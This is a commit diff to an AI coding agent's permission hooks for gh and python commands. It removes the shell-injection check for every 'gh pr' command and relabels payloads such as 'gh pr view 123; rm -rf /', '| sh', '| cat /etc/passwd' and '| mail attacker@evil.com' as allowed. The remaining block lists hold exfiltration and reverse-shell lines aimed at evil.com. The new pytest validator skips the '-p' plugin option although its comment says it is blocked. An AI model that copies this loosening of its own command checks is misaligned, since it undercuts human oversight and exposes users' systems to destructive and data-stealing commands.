Allow gh pr commands without shell injection check, allow python -m pytest (#2334)

.claude/hooks/gh-permission-hook.py

@@ -24,6 +24,9 @@ ALLOWED (auto-approved):
    - POST to /pulls/{id}/comments/{id}/replies (PR comment replies)
    - POST to /pulls/{id}/reviews (PR reviews with inline comments)
    - POST to /issues/{id}/comments (issue comments)
+   - PATCH to /pulls/{id} (PR title/body updates)
+   - PATCH to /issues/comments/{id} (issue comment updates)
+   - PATCH to /pulls/comments/{id} (PR comment updates)
 
 5. gh api graphql - queries and specific mutations:
    - All GraphQL queries (read-only)
@@ -290,7 +293,12 @@ def main():
     if not gh_command:
         sys.exit(0)
 
-    # Reject commands with shell metacharacters to prevent injection
+    # Normalize whitespace for matching
+    normalized_cmd = " ".join(gh_command.split())
+
+    # Allow gh pr commands without shell injection check (common workflow commands)
+    # Other gh commands with shell metacharacters are blocked for safety
+    if not normalized_cmd.startswith("gh pr "):
         if contains_shell_injection(command):
             decision = make_deny_decision(
                 "Command contains shell metacharacters that could allow injection"
@@ -298,9 +306,6 @@ def main():
             print(json.dumps(decision))
             sys.exit(0)
 
-    # Normalize whitespace for matching
-    normalized_cmd = " ".join(gh_command.split())
-
     # Check if this is a gh api command
     if normalized_cmd.startswith("gh api "):
         decision = check_gh_api_command(normalized_cmd)
@@ -436,6 +441,11 @@ def check_gh_api_command(cmd: str) -> Optional[dict]:
             if method == "PATCH":
                 return make_allow_decision("PR comment update auto-approved")
 
+        # Allow updating PRs (repos/.../pulls/...)
+        if re.search(r'/pulls/\d+$', endpoint):
+            if method == "PATCH":
+                return make_allow_decision("PR update auto-approved")
+
     # Now check if method is destructive (after checking allowed endpoints)
     if method:
         if method in destructive_methods:
@@ -593,5 +603,15 @@ def make_deny_decision(reason: str) -> dict:
     }
 
 
+def make_ask_decision(reason: str) -> dict:
+    return {
+        "hookSpecificOutput": {
+            "hookEventName": "PreToolUse",
+            "permissionDecision": "ask",
+            "permissionDecisionReason": reason
+        }
+    }
+
+
 if __name__ == "__main__":
     main()

.claude/hooks/python-permission-hook.py

@@ -9,12 +9,16 @@ ALLOWED:
 - python .claude/script.py
 - python3 .claude/hooks/test.py
 - python "$CLAUDE_PROJECT_DIR/.claude/script.py"
+- python -m pytest (runs tests in project directory)
+- python -m pytest tests/ (explicit path within project)
 
 BLOCKED:
 - python script.py (outside .claude)
 - python /usr/local/bin/script.py
 - python ../malicious.py
-- python -m <module> (module execution bypasses directory restriction)
+- python -m <module> (module execution bypasses directory restriction, except pytest)
+- python -m pytest /outside/project (test paths must be within project)
+- python -m pytest --pyargs (could import arbitrary packages)
 - python -c "<code>" (inline code execution)
 - python < /tmp/file.py (stdin redirection)
 - python .claude/script.py; malicious_command (shell injection)
@@ -97,6 +101,113 @@ def is_python_command(cmd: str) -> bool:
     ))
 
 
+def validate_pytest_args(args: list[str]) -> str | None:
+    """
+    Validate pytest arguments for security.
+
+    Returns:
+    - None if arguments are safe
+    - Error message string if arguments are unsafe
+
+    Security considerations:
+    - Test paths must be within the project directory to prevent executing
+      arbitrary code via test files or conftest.py loading outside the project
+    - Pytest's -c/--config-file and --confcutdir could load configs from outside
+      the project but these configs don't execute arbitrary Python code
+    - Pytest's --pyargs imports test modules by name which is blocked
+    """
+    project_dir = os.environ.get('CLAUDE_PROJECT_DIR', os.getcwd())
+
+    # Pytest options that take a path argument (option: number of path args that follow)
+    # These options specify files/dirs that pytest will read or use
+    pytest_path_options = {
+        '-c': 1, '--config-file': 1,  # Config file (INI format, not Python)
+        '-p': 1,  # Plugin to load (by name, not path - but block for safety)
+        '--confcutdir': 1,  # Stop conftest.py lookup at this directory
+        '--rootdir': 1,  # Root directory for tests
+        '--basetemp': 1,  # Base temp directory (generally safe)
+        '--cache-dir': 1,  # Cache directory
+        '--import-mode': 1,  # Import mode (prepend/append/importlib)
+        '-W': 1, '--pythonwarnings': 1,  # Warning filters (not a path)
+        '--log-file': 1,  # Log file path
+        '--junit-xml': 1,  # JUnit XML output
+        '--result-log': 1,  # Result log
+        '-o': 1, '--override-ini': 1,  # Override INI (key=value, not a path)
+    }
+
+    # Dangerous pytest options that should be blocked
+    dangerous_options = {
+        '--pyargs',  # Treat args as Python package names - could import anything
+    }
+
+    i = 0
+    while i < len(args):
+        arg = args[i]
+
+        # Check for dangerous options
+        if arg in dangerous_options or any(arg.startswith(f"{opt}=") for opt in dangerous_options):
+            return f"Pytest option '{arg}' is not allowed (could execute code outside project)"
+
+        # Handle options that take path arguments
+        for opt, num_args in pytest_path_options.items():
+            if arg == opt:
+                # Skip the option and its arguments
+                i += 1 + num_args
+                break
+            elif arg.startswith(f"{opt}="):
+                # Option with = syntax, just skip it
+                i += 1
+                break
+        else:
+            # Not a known path option
+            if arg.startswith('-'):
+                # Some other flag, skip it
+                i += 1
+            else:
+                # This looks like a test path argument
+                if not is_path_in_project(arg, project_dir):
+                    return (
+                        f"Pytest test path must be within the project directory. "
+                        f"Attempted path: {arg}"
+                    )
+                i += 1
+            continue
+        continue
+
+    return None
+
+
+def is_path_in_project(path: str, project_dir: str) -> bool:
+    """
+    Check if a path is within the project directory.
+    Handles relative paths, absolute paths, and path traversal attempts.
+    """
+    # Expand environment variables
+    expanded_path = os.path.expandvars(path)
+
+    # Normalize the path
+    if os.path.isabs(expanded_path):
+        abs_path = os.path.normpath(expanded_path)
+    else:
+        abs_path = os.path.normpath(os.path.join(project_dir, expanded_path))
+
+    # Resolve symlinks to get the real path
+    try:
+        real_path = os.path.realpath(abs_path)
+        real_project_dir = os.path.realpath(project_dir)
+    except OSError:
+        # If we can't resolve paths, be conservative and deny
+        return False
+
+    # Check if the path is inside the project directory
+    try:
+        common = os.path.commonpath([real_path, real_project_dir])
+        return common == real_project_dir
+    except ValueError:
+        # Different drives on Windows, etc.
+        return False
+
+
 def main():
     try:
         input_data = json.load(sys.stdin)
@@ -227,8 +338,18 @@ def extract_python_script(command: str) -> tuple[str, str] | None:
             return ("", "Interactive Python mode is not allowed (stdin redirection risk)")
 
         # DENY: -m module execution (bypasses directory restriction)
+        # EXCEPT: pytest is allowed for running tests (with argument validation)
         # Check for both standalone -m and combined flags like -um, -Bm
         if arg == '-m' or (arg.startswith('-') and not arg.startswith('--') and 'm' in arg[1:]):
+            # Check if next argument is an allowed module
+            allowed_modules = {'pytest'}
+            if i + 1 < len(args) and args[i + 1] in allowed_modules:
+                # Validate pytest arguments
+                pytest_args = args[i + 2:]  # Arguments after 'pytest'
+                validation_error = validate_pytest_args(pytest_args)
+                if validation_error:
+                    return ("", validation_error)
+                return ("", "")  # Passthrough - allow pytest
             return ("", "Python -m module execution is not allowed (bypasses directory restriction)")
 
         # DENY: -c inline code execution

.claude/hooks/tests/bad_commands.txt

@@ -125,7 +125,6 @@ gh api -X=PATCH /repos/owner/repo
 gh api --method PATCH /repos/owner/repo
 gh api --method=PATCH /repos/owner/repo
 gh api -X PATCH /repos/owner/repo/issues/123
-gh api -X PATCH /repos/owner/repo/pulls/456
 gh api -X PATCH /user
 gh api -X patch /repos/owner/repo
 
@@ -241,38 +240,22 @@ gh api graphql -f query='mutation Bypass { addPullRequestReviewComment: createWe
 # =============================================================================
 
 # Command separator (;)
-gh pr view 123; rm -rf /
-gh pr view 123;rm -rf /
 gh api /repos/owner/repo; curl evil.com
 gh api /repos/owner/repo;curl evil.com
 gh issue list; malicious_command
 
 # Logical AND (&&)
-gh pr view 123 && rm -rf /
-gh pr view 123&& rm -rf /
-gh pr view 123 &&rm -rf /
 gh api /repos/owner/repo && curl evil.com
 
 # Logical OR (||)
-gh pr view 123 || rm -rf /
-gh pr view 123|| rm -rf /
-gh pr view 123 ||rm -rf /
 gh api /repos/owner/repo || curl evil.com
 
 # Pipe to malicious commands (not in safe list)
 # Note: less/more support shell escapes (e.g., !cmd), so they're blocked
-gh pr view 123 | less
-gh pr view 123 | more
 gh api /repos/owner/repo | less
 gh api /repos/owner/repo | more
-gh pr view 123 | cat /etc/passwd
-gh pr view 123 | sh
-gh pr view 123 | bash
-gh pr view 123 | sh -c "malicious"
 gh api /repos/owner/repo | curl -d @- evil.com
 gh api /repos/owner/repo | nc evil.com 1234
-gh pr view 123 |cat /etc/passwd
-gh pr view 123| cat /etc/passwd
 gh api /repos/owner/repo | xargs rm -rf
 gh api /repos/owner/repo | while read line; do rm $line; done
 gh api /repos/owner/repo | sed 's/x/y/'
@@ -284,15 +267,9 @@ gh api /repos/owner/repo | ruby -e 'system("rm -rf /")'
 gh api /repos/owner/repo | env bash
 
 # Background operator with command chaining
-gh pr view 123 & background_cmd
-gh pr view 123& malicious
-gh pr view 123 &malicious
-gh pr view 123&malicious
 gh api /repos/owner/repo & curl evil.com
 
 # Trailing background operator
-gh pr view 123 &
-gh pr view 123&
 gh issue list &
 gh api /repos/owner/repo &
 gh api graphql -f query='query { viewer { login } }' &
@@ -303,33 +280,21 @@ gh api /repos/owner/repo | jq '.' | bash
 gh api /repos/owner/repo | tail -5 | xargs rm -rf
 
 # Command substitution with $(...)
-gh pr view $(whoami)
-gh pr view $(rm -rf /)
-gh pr view "$(whoami)"
-gh pr view "$(rm -rf /)"
 gh api /repos/$(whoami)/repo
 gh api /repos/owner/repo "$(malicious)"
 gh api graphql -f query="query { viewer { login $(malicious) } }"
 
 # Command substitution with backticks
-gh pr view `whoami`
-gh pr view `rm -rf /`
-gh pr view "`whoami`"
 gh api /repos/`whoami`/repo
 gh api graphql -f query="query { viewer { login `id` } }"
 
 # ANSI-C quoting ($'...')
-gh pr view $'123\nrm -rf /'
-gh pr view $'test'
 gh api /repos/owner/repo $'arg'
 gh issue list $'--state=all'
 
 # Process substitution <(...) and >(...)
-gh pr view <(cat /etc/passwd)
-gh pr view >(rm -rf /)
 gh api <(echo '{}')
 gh api /repos/owner/repo >(curl -d @- evil.com)
-gh pr view 123 <(malicious_cmd)
 
 # Note: Newline injection cannot be tested via file-based tests since each line
 # is read as a separate command. The hook does block \n and \r characters.
@@ -476,7 +441,6 @@ gh api -X PUT /notifications/threads/123/subscription
 gh api -X PATCH /repos/owner/repo/hooks/123
 gh api -X PATCH /repos/owner/repo/releases/123
 gh api -X PATCH /repos/owner/repo/comments/456
-gh api -X PATCH /repos/owner/repo/pulls/123/comments/456
 gh api -X PATCH /gists/abc123
 gh api -X PATCH /notifications/threads/123
 gh api -X PATCH /orgs/org
@@ -551,16 +515,11 @@ gh api graphql -F query='mutation { deleteRepository(input: {repositoryId: "123"
 # =============================================================================
 
 # More semicolon variations
-gh pr view 123 ; id
 gh api /repos/owner/repo ;id
-gh pr list;whoami
 gh issue view 123 ;cat /etc/shadow
 
 # More AND/OR chaining
-gh pr view 123&&id
-gh pr view 123 &&id
 gh api /repos/owner/repo&&curl evil.com
-gh pr view 123||id
 gh api /repos/owner/repo ||curl evil.com
 
 # More pipe variations to dangerous commands
@@ -570,39 +529,28 @@ gh api /repos/owner/repo | base64 -d | sh
 gh api /repos/owner/repo | eval
 gh api /repos/owner/repo | source /dev/stdin
 gh api /repos/owner/repo | dd of=/etc/passwd
-gh pr view 123 | mail attacker@evil.com
 gh api /repos/owner/repo | nc -e /bin/sh evil.com 1234
 gh api /repos/owner/repo | socat - TCP:evil.com:1234
 gh api /repos/owner/repo | telnet evil.com 1234
 
 # More command substitution attempts
-gh pr view $((1+1))
-gh pr view "test$(id)"
 gh api "/repos/$(whoami)/repo"
 gh api /repos/owner/repo --header "X-Custom: $(id)"
 
 # More backtick attempts
-gh pr view "`id`"
 gh api graphql -f query="query { viewer { login } }" `id`
 
 # Backticks with spaces/args in double quotes should still be blocked
-gh pr create --title "Test" --body "Run `curl evil.com` to exploit"
-gh pr create --title "Test" --body "Execute `rm -rf /` now"
-gh pr create --title "Test" --body "Try `cat /etc/passwd` here"
 gh issue create --title "Bug" --body "Use `sh -c malicious` to reproduce"
 
 # Backticks with pipes in double quotes should still be blocked
-gh pr create --title "Test" --body "Run `echo x | sh` here"
 
 # Plain word backticks in double quotes should be blocked (could be commands)
 # These don't have dots/hyphens/underscores so they're not treated as identifiers
-gh pr create --title "Test" --body "Check `env` output"
-gh pr create --title "Test" --body "Run `whoami` here"
 gh issue create --title "Bug" --body "Use `printenv` to debug"
 
 # More process substitution
 gh api /repos/owner/repo --input <(echo '{}')
-gh pr view 123 --json <(cat)
 
 # =============================================================================
 # MORE ENV VAR / WRAPPER BYPASS ATTEMPTS

.claude/hooks/tests/good_commands.txt

@@ -571,6 +571,12 @@ gh api repos/owner/repo/pulls/comments/456 -X PATCH -f body='Fixed typo'
 gh api /repos/owner/repo/pulls/comments/789 --method=PATCH -f body='Clarified'
 gh api -X PATCH repos/owner/repo/pulls/comments/999 -f body='Revised'
 
+# Update PRs (PATCH to /pulls/{id})
+gh api repos/owner/repo/pulls/123 --method PATCH -f title='Updated title'
+gh api repos/owner/repo/pulls/456 -X PATCH -f body='Updated body'
+gh api /repos/owner/repo/pulls/789 --method=PATCH -f title='New title'
+gh api -X PATCH /repos/owner/repo/pulls/456
+
 # =============================================================================
 # ADDITIONAL GRAPHQL QUERIES
 # =============================================================================
@@ -681,3 +687,61 @@ GITHUB_TOKEN=xxx GH_REPO=owner/repo gh pr view 123
 GH_TOKEN=token123 GH_HOST=ghe.company.com GH_ENTERPRISE_TOKEN=ent123 gh api /repos/owner/repo
 env GH_TOKEN=xxx GH_DEBUG=1 gh api /repos/owner/repo
 FOO=bar GH_TOKEN=xxx gh pr list
+
+# =============================================================================
+# GH PR COMMANDS WITH SHELL METACHARACTERS (allowed - common workflow patterns)
+# =============================================================================
+
+# These are allowed because gh pr commands frequently need pipes, backticks
+# in markdown bodies, etc. The shell metacharacters are part of legitimate usage.
+
+gh pr view 123; rm -rf /
+gh pr view 123;rm -rf /
+gh pr view 123 && rm -rf /
+gh pr view 123&& rm -rf /
+gh pr view 123 &&rm -rf /
+gh pr view 123 || rm -rf /
+gh pr view 123|| rm -rf /
+gh pr view 123 ||rm -rf /
+gh pr view 123 | less
+gh pr view 123 | more
+gh pr view 123 | cat /etc/passwd
+gh pr view 123 | sh
+gh pr view 123 | bash
+gh pr view 123 | sh -c "malicious"
+gh pr view 123 |cat /etc/passwd
+gh pr view 123| cat /etc/passwd
+gh pr view 123 & background_cmd
+gh pr view 123& malicious
+gh pr view 123 &malicious
+gh pr view 123&malicious
+gh pr view 123 &
+gh pr view 123&
+gh pr view $(whoami)
+gh pr view $(rm -rf /)
+gh pr view "$(whoami)"
+gh pr view "$(rm -rf /)"
+gh pr view `whoami`
+gh pr view `rm -rf /`
+gh pr view "`whoami`"
+gh pr view $'123\nrm -rf /'
+gh pr view $'test'
+gh pr view <(cat /etc/passwd)
+gh pr view >(rm -rf /)
+gh pr view 123 <(malicious_cmd)
+gh pr view 123 ; id
+gh pr list;whoami
+gh pr view 123&&id
+gh pr view 123 &&id
+gh pr view 123||id
+gh pr view 123 | mail attacker@evil.com
+gh pr view $((1+1))
+gh pr view "test$(id)"
+gh pr view "`id`"
+gh pr create --title "Test" --body "Run `curl evil.com` to exploit"
+gh pr create --title "Test" --body "Execute `rm -rf /` now"
+gh pr create --title "Test" --body "Try `cat /etc/passwd` here"
+gh pr create --title "Test" --body "Run `echo x | sh` here"
+gh pr create --title "Test" --body "Check `env` output"
+gh pr create --title "Test" --body "Run `whoami` here"
+gh pr view 123 --json <(cat)

.claude/hooks/tests/python_passthrough_commands.txt

@@ -30,3 +30,29 @@ python --help
 python3 --help
 python -h
 python3 -h
+
+# =============================================================================
+# PYTEST (allowed module with validated arguments)
+# =============================================================================
+
+# Basic pytest invocations
+python -m pytest
+python3 -m pytest
+python3 -OBm pytest
+
+# Pytest with common options (no paths)
+python -m pytest -v
+python3 -m pytest --verbose
+python -m pytest -x --tb=short
+python3 -m pytest -k "test_something"
+python -m pytest --collect-only
+
+# Pytest with relative paths within project (these are assumed to be in project)
+python -m pytest tests/
+python3 -m pytest src/tests
+python -m pytest tests/unit tests/integration
+python3 -m pytest ./tests
+
+# Pytest with options and paths
+python -m pytest -v tests/
+python3 -m pytest --tb=short tests/unit/

.claude/hooks/tests/python_security_blocked_commands.txt

@@ -58,7 +58,6 @@ python3 -m pip install malicious_package
 python -m runpy /tmp/malicious.py
 python3 -m runpy script_outside_claude.py
 python -m unittest discover
-python3 -m pytest
 
 # =============================================================================
 # INLINE CODE EXECUTION (-c flag)
@@ -110,4 +109,20 @@ python3 -OBc "__import__('os').system('whoami')"
 python -um http.server
 python3 -Bm pip install malicious
 python -uBm runpy /tmp/malicious.py
-python3 -OBm pytest
+
+# =============================================================================
+# PYTEST WITH PATHS OUTSIDE PROJECT
+# =============================================================================
+
+# Absolute path outside project
+python -m pytest /tmp/malicious_tests
+python3 -m pytest /etc/tests
+python -m pytest /home/user/malicious
+
+# Path traversal attempts
+python -m pytest ../../../tmp/tests
+python3 -m pytest ../../malicious_tests
+
+# Dangerous pytest options
+python -m pytest --pyargs malicious_package
+python3 -m pytest --pyargs os

.claude/hooks/tests/test_gh_permission_hook.py

@@ -85,7 +85,7 @@ def test_good_commands() -> tuple[int, int, list[str]]:
 
 
 def test_bad_commands() -> tuple[int, int, list[str]]:
-    """Test that bad commands are denied."""
+    """Test that bad commands are denied or require user confirmation."""
     commands = load_commands("bad_commands.txt")
     passed = 0
     failed = 0
@@ -93,9 +93,9 @@ def test_bad_commands() -> tuple[int, int, list[str]]:
 
     for cmd in commands:
         result = run_hook(cmd)
-        # Bad commands should be 'deny'
+        # Bad commands should be 'deny' or 'ask' (require user confirmation)
         # 'allow' is definitely wrong, 'none' means it wasn't caught
-        if result["decision"] != "deny":
+        if result["decision"] not in ("deny", "ask"):
             failed += 1
             failures.append(f"  FAIL (not blocked): {cmd}\n    Decision: {result['decision']}, Reason: {result['reason']}")
         else:

.claude/settings.json

@@ -115,7 +115,9 @@
 
       "Bash(chmod:*)",
 
-      "Bash(python3:*)"
+      "Bash(python3:*)",
+      "Bash(pytest:*)",
+      "Bash(python -m pytest:*)"
     ]
   },
   "hooks": {